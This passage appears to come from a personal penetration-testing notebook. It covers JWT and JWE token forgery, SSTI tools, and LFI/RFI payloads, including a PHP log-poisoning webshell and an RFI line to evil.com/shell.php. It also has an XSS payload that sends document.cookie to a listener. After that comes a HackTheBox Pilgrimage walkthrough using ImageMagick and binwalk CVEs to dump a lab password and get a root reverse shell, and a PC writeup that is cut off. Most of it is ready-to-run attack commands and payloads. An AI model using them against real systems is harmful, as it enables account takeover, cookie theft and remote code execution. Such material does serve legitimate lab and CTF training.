* Change the header `alg` to `HS256`.
* Sign the token using the server's public key as the HMAC secret.
* Send the forged token.
* If the server accepts it, algorithm confusion is present.

Example in Node.js:

```javascript
const jwt = require('jsonwebtoken');
const publicKey = '-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----';
const token = jwt.sign({ username: 'admin' }, publicKey, { algorithm: 'HS256' });
```

#### Preconditions

* The server reads the `alg` header from the token.
* The same key material is used for both asymmetric and symmetric verification.
* The public key is available to the attacker.
* The verification library allows HMAC verification with an RSA public key.

***

### Business Logic Attacks

#### JWT Balance Replay (MetaShop Pattern)

Use when the token contains mutable state such as a balance, points, or credits.

* Sign up and capture the initial JWT with a high balance.
* Spend the balance until it reaches zero.
* Replace the current cookie with the saved JWT.
* Return or refund items and observe whether the server recalculates the balance from the token without cross-checking history.
* Repeat until the balance exceeds the target price.

> The server trusts the balance in the JWT for return calculations but does not validate purchase history.

***

### JWE Token Forgery

Use when the application uses JWE (JSON Web Encryption) instead of JWT. JWE tokens have five Base64url segments:

```
header.encrypted_key.iv.ciphertext.tag
```

If the server's public RSA key is exposed (via `/api/key`, `.well-known/jwks.json`, or page source), you can encrypt arbitrary claims that the server will trust after decryption.

Example in Python:

```python
from jwcrypto import jwk, jwe
import json

public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkq...
-----END PUBLIC KEY-----"""

key = jwk.JWK.from_pem(public_key_pem.encode())
forged_claims = {
    "sub": "attacker",
    "balance": 999999,
    "role": "admin"
}

token = jwe.JWE(
    json.dumps(forged_claims).encode(),
    recipient=key,
    protected=json.dumps({
        "alg": "RSA-OAEP-256",
        "enc": "A256GCM"
    })
)
forged_jwe = token.serialize(compact=True)
```

* Fetch the exposed public key.
* Forge claims.
* Encrypt with the public key.
* Send the JWE token as cookie or header.
* Confirm the server decrypts and accepts the forged claims.

> JWE encryption does not equal authentication. If the server trusts any token it can decrypt, exposing the public key allows arbitrary claim forgery.

***

### End-to-End Attack Flows

#### Account takeover via missing verification

* Log in as a low-privilege user and capture the JWT.
* Identify the user identifier claim (`sub`, `username`, etc.).
* Change the claim to a target user.
* Keep the original signature.
* Send the token and confirm access as the target user.

#### Privilege escalation via `alg: none`

* Capture a legitimate JWT.
* Change `alg` to `none`.
* Modify the payload to elevate privileges.
* Re-encode and append a trailing dot.
* Send the token and confirm elevated access.

#### Secret recovery and re-signing

* Capture a valid `HS256` JWT.
* Run hashcat:

```bash
hashcat -a 0 -m 16500 <jwt> /usr/share/wordlists/rockyou.txt
```

* Recover the secret.
* Modify the payload.
* Re-sign with `HS256` using the recovered secret.
* Confirm the server accepts the re-signed token.

#### Self-signed JWT via `jwk`

* Generate an RSA key pair.
* Modify the payload.
* Sign with your private key.
* Embed your public key in the `jwk` header.
* Match `kid` between header and embedded JWK.
* Send and confirm acceptance.

#### Self-signed JWT via `jku`

* Generate an RSA key pair.
* Host a JWK Set with your public key.
* Modify the payload.
* Set `jku` to your hosted JWK Set.
* Sign with your private key.
* Send and confirm acceptance.

#### `jku` SSRF → localhost verification bypass

* Generate an RSA key pair.
* Find a localhost endpoint with side effects such as account verification.
* Forge a JWT with `jku` pointing to that endpoint.
* Sign with your private key.
* Send and confirm the side effect triggers and the token is accepted.

#### `kid` path traversal

* Capture an `HS256` JWT.
* Set `kid` to `/dev/null` or another known file path.
* Modify the payload.
* Sign with the file contents as the secret.
* Send and confirm acceptance.

#### RS256 to HS256 confusion

* Capture an `RS256` JWT.
* Obtain the server's public key.
* Modify the payload.
* Change `alg` to `HS256`.
* Sign with the public key as the HMAC secret.
* Send and confirm acceptance.

#### JWE token forgery

* Identify a JWE token (five dot-separated segments).
* Locate the exposed public key.
* Forge claims.
* Encrypt with the public key.
* Send and confirm acceptance.

***

### Tools

| Tool                                | Purpose                                                    |
| ----------------------------------- | ---------------------------------------------------------- |
| Burp Suite + JWT Editor             | Modify, re-sign, and inject JWTs                           |
| Burp Repeater                       | Replay requests with modified tokens                       |
| hashcat                             | Offline brute-force of HMAC secrets (`-m 16500`)           |
| flask-unsign                        | Decode and brute-force Flask session cookies               |
| jwt.io debugger                     | Manual encoding and decoding                               |
| Python `jwt` / `jwcrypto` libraries | Scripted token forging and JWE encryption                  |
| Python `requests`                   | Scripted automation (route through Burp proxy for logging) |

***

*Use this guide during web application penetration tests, CTF challenges, code reviews, and secure-design sessions. Attach evidence for each confirmed finding.*


# SSTI

Notes about some basic Server Side Template Injection attack

Server Side Template Injection (SSTI) is a web exploit which takes advantage of an insecure implementation of a template engine.

### Playground

* [**THM: SSTI**](https://tryhackme.com/r/room/learnssti)
* [**Template Injection Playground**](https://github.com/Hackmanit/template-injection-playground)

### **Identification**

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0iv7fgV7F-YHL8sJ7iP5oPTMpSGNq5MjD-DUf6s0tVtChHCzTlVGdesajYQKk8OiIuaF2Cc_J34xpeYN6xH4dDZsIQYIF8Iwz7k8uqnrIJhHsKjrErSF-mTE2NpR_dv30YTOhQGCJC4DEQOPKIYmyZsT61AIP2rWQQKwIPZEMzoFmr3Vrg6j9uzC1Zw0/s645/ssti.png" alt=""><figcaption><p>Quick Identification</p></figcaption></figure>

[**Template Injection Table**](https://github.com/Hackmanit/template-injection-table)

### **Tools**

**SSTImap**

```bash
## Install
git clone https://github.com/vladko312/SSTImap
cd SSTImap
python3 -m venv sstimap_env
source sstimap_env/bin/activate

Usage:
python3 sstimap.py --help
python3 sstimap.py --random-user-agent --url http://10.10.236.246:5000/profile/*
python3 sstimap.py --random-user-agent --url http://10.10.236.246:5000/profile/* --engine Jinja2
python3 sstimap.py --random-user-agent --url http://10.10.236.246:5000/profile/* --engine Jinja2 --os-shell
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMvTINuzGUfEpkZ0S-tc-klF4MTtjcG5RH92D7Eoxt8M3y9U7Pc4L6VZMxmACJB206t6RkbaBWIzd5UGDnFhPMYsdkauvjlUC77thI_7EBlHKbzO1nO-CUw95rTc16b3muYV-VZmAFmwC4bl-vsVOIB0wQcVmK1aCobmUIdWnpre7sjNSMSfHZkkqxQYg/s1353/sstimap.png" alt=""><figcaption><p><strong>SSTImap</strong></p></figcaption></figure>

**TInjA – the Template INJection Analyzer**

* <https://github.com/Hackmanit/TInjA>

```bash
tinja url -u "http://10.10.242.241:5000/vuln?name=a"
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4zw4BN1ISgV1FWkjIpCGfjMCK-L9EML6OyAtvkFn_MelZnLs7Azt3Af03qh9uNZLKbtQ8SaE7v3aDWtphi3aMZeOFTCtEHK27FBgSk1dTIufqB2rYHg8jiwq-jC1Hd5fw_SX0DtjKo0_Pi_xVIk3FAzsciQkFw1Ff3N4MhCFYFftejMgtKfWira9gZjA/s1259/tinja-tool.png" alt=""><figcaption><p><strong>TInjA – the Template INJection Analyzer</strong></p></figcaption></figure>

### Resources

* <https://hackerone.com/reports/125980>
* <https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>


# File Inclusion

Notes about some basic File Insclusion attack

## Playground

* [**THM: File Inclusion, Path Traversal**](https://tryhackme.com/r/room/filepathtraversal)

## Dangerous Function

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |         ✅        |      ✅      |        ✅       |
| `require()`/`require_once()` |         ✅        |      ✅      |        ❌       |
| `file_get_contents()`        |         ✅        |      ❌      |        ✅       |
| `fopen()`/`file()`           |         ✅        |      ❌      |        ❌       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |         ✅        |      ❌      |        ❌       |
| `fs.sendFile()`              |         ✅        |      ❌      |        ❌       |
| `res.render()`               |         ✅        |      ✅      |        ❌       |
| **Java**                     |                  |             |                |
| `include`                    |         ✅        |      ❌      |        ❌       |
| `import`                     |         ✅        |      ✅      |        ✅       |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |         ✅        |      ❌      |        ❌       |
| `@Html.RemotePartial()`      |         ✅        |      ❌      |        ✅       |
| `Response.WriteFile()`       |         ✅        |      ❌      |        ❌       |
| `include`                    |         ✅        |      ✅      |        ✅       |

## Local File Inclusion (LFI)

Local File Inclusion (LFI) is a type of vulnerability where an attacker can exploit a web application to include files that are already present on the server. By manipulating input parameters, such as URLs or form fields, the attacker can trick the application into loading files from the local file system, potentially accessing sensitive information or executing malicious code.

#### Basic LFI Payloads

| Command                                                   | Description             |
| --------------------------------------------------------- | ----------------------- |
| `/etc/passwd`                                             | Basic LFI               |
| `../../../../etc/passwd`                                  | LFI with path traversal |
| `/../../../etc/passwd`                                    | LFI with name prefix    |
| `./languages/../../../../etc/passwd`                      | LFI with approved path  |
| `php://filter/read=convert.base64-encode/resource=config` | LFI with Base64 Filter  |
| `../../../../etc/passwd%00`                               | LFI with Null byte      |

## Log Poisoning to RCE

```bash
# Inject Access Log
curl -X "<?php echo passthru(\$_GET['cmd']);?>" http://target.com/

# Access
http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id
```

### Access Log Location

**Apache:**

{% code overflow="wrap" %}

```
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
```

{% endcode %}

Nginx:

* /var/log/nginx/access.log

## LFI to RCE

{% code overflow="wrap" %}

```bash
# Data Wrappers
http://target.com/index.php?page=/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

# Input Wrappers
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://target.com/index.php?page=php://input&cmd=id"

# Expect Wrappers
curl -s "http://target.com/index.php?page=expect://id"
```

{% endcode %}

## Remote File Inclusion (RFI)

In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the allow\_url\_include setting to be enabled.

{% code overflow="wrap" %}

```bash
http://target.com/index.php?page=ftp://user:pass@localhost/shell.php&cmd=id
http://target.com/index.php?page=http://evil.com/shell.php&cmd=id
```

{% endcode %}

## Automation

{% code overflow="wrap" %}

```bash
# Fuzzing Parameter
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://target.com/index.php?FUZZ=value' -fs 2309

# Check working payload with LFI wordlists
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://target.com/index.php?view=FUZZ' -fs 2309

# Read Apache2 Conf
curl http://target.com/index.php?view=../../../../../../../../../../../../../../../../../../etc/apache2/apache2.conf
```

{% endcode %}

## Tools

### **LFImap**

```bash
# Install
git clone https://github.com/hansmach1ne/LFImap
cd LFImap/
python3 -m venv lfimap_env
source lfimap_env/bin/activate
pip3 install -r requirements.txt

# Usage
Usage:
python3 lfimap.py --help
python3 lfimap.py -U "http://10.10.70.223/playground.php?page=test" -a
python3 lfimap.py -U "http://10.10.70.223/playground.php?page=test" -x --lhost 10.9.245.106 --lport 443
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh33OpuqB9v3evsJlqTqijUPEdY4TF0sKMWuXC1VhMBCh7OIKkk_OplXm29b0KOURlBvtN0Y2hsfCHcHciCxuvVZ0L1uK_3jS9v1Z4Xs5VFgkw2RbFs28oPYwlJOG3p-tAhNcDx8uT4-0v72jgAEMP1KCqs0PYtXVRpTV1P740O_x9XhIHMTPVkDrQoRtM/s1332/lfimap.png" alt=""><figcaption><p>LFImap</p></figcaption></figure>

## WordLists

* <https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux>
* <https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows>
* <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt>

### References

* <https://book.hacktricks.xyz/pentesting-web/file-inclusion>


# XSS

Cross-site scripting cheat sheet

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

### Playground

* <https://tryhackme.com/r/room/axss>
* <https://brutelogic.com.br/xss.php>
* <https://xss-labs.abay.sh/xss/>

### Tools

**XSStrike**

XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.

* <https://github.com/s0md3v/XSStrike>

{% code overflow="wrap" %}

```bash
# Install
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
python3 -m venv xsstrike_env
source xsstrike_env/bin/activate
pip3 install -r requirements.txt

# run
python3 xsstrike.py -u "https://brutelogic.com.br/xss.php?a=fuzz" --fuzzer
python3 xsstrike.py -u "https://brutelogic.com.br/xss.php" --crawl -l 3
python3 xsstrike.py -u "https://brutelogic.com.br/xss.php?a=fuzz" --file xss.txt
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6vjZhXx_XMXjyfIXlDcQ3olR_mJFJ9vyJkDZqUOYNnQCzWDGUce_pb9cGm-TB4wN8g2RChnbB9DOY6ktcPmhpdAa2YNp4sdZKLcYpWKy_-WVCJCnAzvLsT4lhmWRRbVWPYQM9GIYEb0vWxgs92zbVWWtZnZerrO9NsErx2te4t_x4rz9pMxvWNXQetrw/s955/xsstrike.png" alt=""><figcaption><p>XSStrike</p></figcaption></figure>

**Nuclei**

Nuclei has some cool XSS detection template that can be used to hunt low hanging fruit XSS.

{% code overflow="wrap" %}

```bash
nuclei -u "https://brutelogic.com.br/xss.php?a=" -dast -tags xss -silent
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKsc7jaQE8ZSpeD6GKn80EHz74yUCi4kYhDz9cvS3gyxFa42vuwwVRQWWHPdEh6CJ5t_eY2rqml331wuze62eDs7-1DFqkVO8B21XW9z1spp8AfCYyFILb7F2rGlE8JobvylS_qMAYM5ou_Ak9swAkjA1nOf5_Pe8LJV2m4MgOIw-HT4kTOg9TRzsQaBs/s1195/xss%20nuclei.png" alt=""><figcaption><p>Nuclei XSS</p></figcaption></figure>

**Dalfox**

DalFox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities.

* <https://github.com/hahwul/dalfox>

Usage:

{% code overflow="wrap" %}

```bash
# basic scan
dalfox url https://brutelogic.com.br/xss.php

# scan with custom payload
dalfox url https://brutelogic.com.br/xss.php --custom-payload xss-payload.txt --skip-bav --only-custom-payload
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKvGxnkyI8R8QbZHtRDE7WYJkzhL1UcdB8LQYOK4iB54OFu0pC0OCcCEAjqWRq22Jx7ps2c-clA2GGUehA9IZ3cJwcx0NJ4yPLAP6VaV1R2m9kAed6VNdU8lcZVcxx7mLmnnXAGnf3PlxcAGTYXXVEYAOmM3j0YIjJHk6i5sIGcsXqEKjdtXJy7hGqDA/s923/dalfox.png" alt=""><figcaption><p><strong>Dalfox</strong></p></figcaption></figure>

### Simple Payload

This is a simple payload that I commonly use for XSS testing.

{% code overflow="wrap" %}

```javascript
" autofocus onfocus=alert(document.domain) x="
"/><img src=x onerror=alert(document.domain) />
```

{% endcode %}

For Cookie Stealing

{% code overflow="wrap" %}

```javascript
<img src="x" onerror="fetch('http://10.10.1.3:8000?c=' + encodeURIComponent(document.cookie))">
```

{% endcode %}

### Resources

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>
* <https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting>
* <https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/xss.txt>


# Misc

Other useful stuff about Web Pentesting

### Online Resource

* <https://lelinhtinh.github.io/de4js/> - JavaScript Deobfuscator and Unpacker
* <https://crackstation.net/> - Online Password Hash Cracker
* <https://jwtauditor.com/> - Online JWT Auditor
* <https://payloadplayground.com/> - Payload Playground
* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet> - XSS Payload


# HackTheBox

HackTheBox Machine Writeups

This is a list of writeups for HTB machines that I have worked on.

| Name                                                                              | Difficulty | OS      |
| --------------------------------------------------------------------------------- | ---------- | ------- |
| [Perfection](https://www.linuxsec.org/2024/06/hackthebox-perfection-writeup.html) | Easy       | Linux   |
| Shoppy                                                                            | Easy       | Linux   |
| GoodGames                                                                         | Easy       | Linux   |
| Photobomb                                                                         | Easy       | Linux   |
| PC                                                                                | Easy       | Linux   |
| Support                                                                           | Easy       | Windows |

Update soon...


# Pilgrimage

Writeup Hack The Box Pilgrimage

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F0EcphQHPgLhL6sDDAsT2%2FPilgrimage.png?alt=media&amp;token=51589587-3634-44a6-a649-ca721b479983" alt=""><figcaption><p>Pilgrimage owned</p></figcaption></figure>

### Port Scanning

First, we perform port scanning on the machine.

```bash
sudo nmap -sV -sT -sC -oA nmap_initial 10.10.11.219
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FHjhLUwDnHBUk8x8cFZ3h%2Fimage.png?alt=media&amp;token=a01e20a3-a68a-430d-b09c-3a4e31202340" alt=""><figcaption><p>Port scanning</p></figcaption></figure>

We found .git directory on the website.

### Exploitation

After we found .git directory, we can dump the directory to get the source code using Git Dumper.

* <https://github.com/arthaud/git-dumper>

```bash
python3 git_dumper.py http://pilgrimage.htb/.git/ Pilgrimage
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FdKYWriAwrd6KOfEMu1IW%2Fimage.png?alt=media&amp;token=0cb7b9a6-24bf-4e4c-8caa-915807bfac9f" alt=""><figcaption><p>Dumping .git directory</p></figcaption></figure>

Now, move to **Pilgrimage**.&#x20;

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FggVodjKZeluN3mfEenO9%2Fimage.png?alt=media&amp;token=f9438e9e-3f5d-4041-bd49-e9b9628350f1" alt=""><figcaption><p>Pilgrimage source code.</p></figcaption></figure>

On index.php, we know that the application using the magick binary to process the image.

```php
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F6wyjH70ZW75Xh8mMSbkt%2Fimage.png?alt=media&amp;token=a187e7ef-c255-405c-8d66-6bfb878de266" alt=""><figcaption><p>Review source code</p></figcaption></figure>

The "magick" binary itself is ImageMagick, open-source software suite, used for editing and manipulating digital images.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FRDbnw6pU1PMbRvwRnwjV%2Fimage.png?alt=media&amp;token=0869076d-013f-41ca-93d7-154a75edb22c" alt=""><figcaption><p>ImageMagick</p></figcaption></figure>

Search on Google, i found this exploit for **ImageMagick 7.1.0-49**.&#x20;

* <https://www.exploit-db.com/exploits/51261>
* <https://github.com/voidz0r/CVE-2022-44268>

After download the exploit, run this command to generate image with payload.

```bash
cargo run "/etc/passwd"
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FLc1dHPCC7Z5lfFQpKq9o%2Fimage.png?alt=media&amp;token=943a3e1a-8e62-421c-8955-cb3b29c37d75" alt=""><figcaption><p>CVE-2022-44268</p></figcaption></figure>

Now, upload the **image.png** to the target.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FPzTqvQgcMUELLL5L1uvm%2Fimage.png?alt=media&amp;token=3b33dc91-6b4d-45fe-a252-1793320f0af3" alt=""><figcaption><p>Upload image with embeded payload</p></figcaption></figure>

Next, download the converted image, and analyze the converted image using this command:

```bash
identify -verbose 64a0e52437392.png
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fcqt1i8Wkoy2u3tPde9Bt%2Fimage.png?alt=media&amp;token=60d3c29c-62e6-4b8e-8b34-95e59120bdab" alt=""><figcaption><p>Get hex value</p></figcaption></figure>

Convert the hex to text with xxd command.

```bash
echo "hex value here" | xxd -r -p
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Ffz8K55b5fc5ddW3lBkSd%2Fimage.png?alt=media&amp;token=48c097be-bf56-47e7-be8f-50fdb068c253" alt=""><figcaption><p>Convert hex to text</p></figcaption></figure>

Back to index.php again, we found that the website using sqlite database, stored at /var/db/pilgrimage. We can read the db content using above exploit.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FveJEFxNDoK6gojSICGQk%2Fimage.png?alt=media&amp;token=b63f9c8d-ff0c-47aa-9c89-39da9bcb1f6a" alt=""><figcaption><p>sqlite</p></figcaption></figure>

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FhsjOUeyukKh1Mjz93MjU%2Fimage.png?alt=media&amp;token=38fe5044-d138-4c7b-8c6b-086176ff2863" alt=""><figcaption><p>Generate payload</p></figcaption></figure>

Again, upload the image to the website, and download the converted image. Next, get the hex value using xxd command.

Since the hex value is too long, you can save the command into a script.

```bash
nano db.sh
```

Inside db.sh, add this line:

```bash
#!/bin/bash
echo "hex value" | xxd -r -p
```

Then execute this command.

```bash
bash db.sh > asuka.sqlite
```

Now, we can use sqlite database client to read the database content.

```bash
➜  tmp sqlite3 asuka.sqlite 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
INSERT INTO users VALUES('emily','abigchonkyboi123');
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL);
COMMIT;
sqlite> 
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FgTgmz0tqYFmXQswxP8EV%2Fimage.png?alt=media&amp;token=7520c54c-2971-4100-8089-83cf02d41706" alt=""><figcaption><p>Found credentials</p></figcaption></figure>

Now, we can use the credentials to login into SSH.

### Get Low User

```bash
ssh emily@pilgrimage.htb
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FGqEGT7LpYr9lPcZNW5Fu%2Fimage.png?alt=media&amp;token=4353d58d-4c1e-4a68-8d61-d31fedb10fa3" alt=""><figcaption><p>Low User</p></figcaption></figure>

### Privilege Escalation

After obtaining low-level user access, we can now upload [**pspy**](/linux/linux-post-exploitation#pspy) to the target machine and monitor Linux processes.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fk6xr5PMskEhQnkxUgGA4%2Fimage.png?alt=media&amp;token=0b6a69ca-cdf8-428b-8a85-3534e427c08f" alt=""><figcaption><p>Monitor UID 0 proccess</p></figcaption></figure>

We found a suspicious process with UID 0 (root) that could potentially be our pathway to gaining root access.

```bash
/bin/bash /usr/sbin/malwarescan.sh 
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
```

This is the content of malwarescan.sh

```bash
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

```

In summary, this script provides a way to monitor the /var/www/pilgrimage.htb/shrunk/ directory for newly created files using **binwalk** and automatically deletes files that match specific criteria defined in the **blacklist** array.

After check the binwalk version, we know that this binwalk is vulnerable to CVE-2022-4510.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F8rahYEP8iYvetC8xfJQS%2Fimage.png?alt=media&amp;token=637b3842-819b-40c9-836f-593e900e2ced" alt=""><figcaption><p>Binwalk vulnerable</p></figcaption></figure>

We can use this script:

* <https://github.com/electr0sm0g/CVE-2022-4510>

Before that, nn our local machine run nc to listen at port 1337.

Upload the script to target machine, and generate the reverse shell payload.

```bash
python3 RCE_Binwalk.py asuka.png 10.10.14.7 1337
```

Next, copy the generated image to **/var/www/pilgrimage.htb/shrunk/** directory.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FzvRYze2KeH7dTndWQf0U%2Fimage.png?alt=media&amp;token=9b804d44-83c7-4106-a176-7d834f061b56" alt=""><figcaption><p>Generate payload</p></figcaption></figure>

Using pspy, we can confirm that the binwalk execute our payload.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FqjvdTOtT2oNYgJctOpZr%2Fimage.png?alt=media&amp;token=0a8b37c4-3617-4eeb-beeb-051bd6507e2e" alt=""><figcaption><p>Back connect command</p></figcaption></figure>

Checking our netcat, we received a connection from the target with the root user.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FypxlfOQqpmnigrzYXj5b%2Fimage.png?alt=media&amp;token=a70b2949-aa82-45d8-846e-383d442ecd10" alt=""><figcaption><p>Root</p></figcaption></figure>


# PC

Writeup mesin Hack The Box PC

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Ftb2mi6mJ2h4xG0kujm2p%2Fhtb_pc.png?alt=media&amp;token=e663c68a-72a0-4111-bef1-efbe75bef121" alt=""><figcaption></figcaption></figure>

## Reconnaissance

Reconnaissance (pencarian informasi) dalam pentesting adalah langkah awal yang dilakukan oleh seorang pentester untuk mengumpulkan informasi dan memahami lebih lanjut tentang target yang akan diserang. Tujuan utama dari tahap reconnaissance adalah memperoleh pemahaman yang komprehensif tentang sistem, aplikasi, infrastruktur, dan entitas terkait yang akan dievaluasi dalam penilaian keamanan.

### Initial Port Scanning

```bash
nmap -sV -sT -sC -A -oA nmap/PC.htb 10.10.11.214
```

Output

```
Nmap scan report for 10.10.11.214
Host is up (0.16s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
